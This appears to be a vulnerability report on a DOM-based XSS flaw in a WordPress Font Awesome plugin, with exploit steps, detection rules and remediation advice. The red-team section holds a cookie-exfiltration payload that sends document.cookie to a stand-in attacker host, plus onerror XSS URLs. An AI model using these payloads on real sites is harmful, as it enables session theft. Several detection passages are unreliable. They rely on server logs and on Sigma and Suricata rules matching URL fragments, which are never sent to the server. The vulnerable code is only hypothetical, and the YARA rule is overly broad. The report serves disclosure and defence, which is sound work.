CVE-2024-51798

Executive Summary

CVE-2024-51798 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Surbma | Font Awesome (surbma-font-awesome), affecting versions up to and including 3.0. The vulnerability arises from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and exploitation does not involve server-level components like Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via manual upload are at risk. No official patch has been released, and the vendor (Surbma) has not provided updates. The plugin is not available on NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires user interaction, but the low complexity and network-based attack vector make it exploitable in phishing campaigns or via compromised sites.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the payload is executed entirely on the client side without server-side reflection. The plugin likely processes user-controlled input (e.g., via URL fragments, document.referrer, or window.name) and injects it into the DOM without proper sanitization. For example, if the plugin reads a parameter from the URL hash and writes it to an HTML element using innerHTML or document.write, an attacker can craft a URL like:

https://victim-site.com/#<img src=x onerror=alert(1)>

When the victim visits this URL, the script executes in their browser. The plugin's JavaScript code may be located in files such as surbma-font-awesome.js or inline scripts.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 3.0. A typical vulnerable pattern might look like:

// Vulnerable code (hypothetical)
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

A patched version would use safe DOM manipulation methods:

// Patched code (hypothetical)
var hash = window.location.hash.substring(1);
document.getElementById('output').textContent = hash;

Exploitation & Lab Setup

Red Team

Prerequisites: A WordPress site with the vulnerable plugin installed (version <= 3.0). No authentication required.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., # fragment).
2. Craft a malicious URL:

   https://victim-site.com/#<img src=x onerror=alert(document.cookie)>
   

3. Deliver the URL to the victim via phishing email or social engineering.
4. Upon click, the XSS payload executes, exfiltrating cookies or performing actions on behalf of the victim.

Example Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script, onerror, or onload in the URL fragment.
• Use browser-based security headers (e.g., Content-Security-Policy) to block inline scripts.

Mitigation:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS patterns in URL fragments.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing #<script, #<img, #<svg, or other HTML tags in the fragment.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• File Hashes: Plugin files (e.g., surbma-font-awesome.js) with MD5 hash UNKNOWN (no known malicious versions).
• Log Entries: GET /?surbma-font-awesome=... with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_51798_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS in Surbma Font Awesome plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51798"
    strings:
        $xss1 = /window\.location\.hash/
        $xss2 = /\.innerHTML\s*=/
        $xss3 = /document\.write\(/
    condition:
        all of ($xss*) and filesize < 100KB
}

Sigma Rule

title: DOM-Based XSS via Surbma Font Awesome Plugin
id: 8a3f2c1e-5b7d-4a9f-8c6e-1d2f3a4b5c6d
status: experimental
description: Detects potential XSS attempts targeting the Surbma Font Awesome plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51798 DOM XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or uninstall the Surbma | Font Awesome plugin (version <= 3.0) until a patch is released.
2. Workaround: Implement a Content Security Policy (CSP) that blocks inline scripts:

   Content-Security-Policy: script-src 'self';
   

3. Long-term: Monitor the WordPress plugin repository for updates. Consider replacing the plugin with an alternative that is actively maintained.
4. User Education: Train users to avoid clicking suspicious links, especially those with unusual URL fragments.

Report generated by Valters IT DevSecOps & CTI Division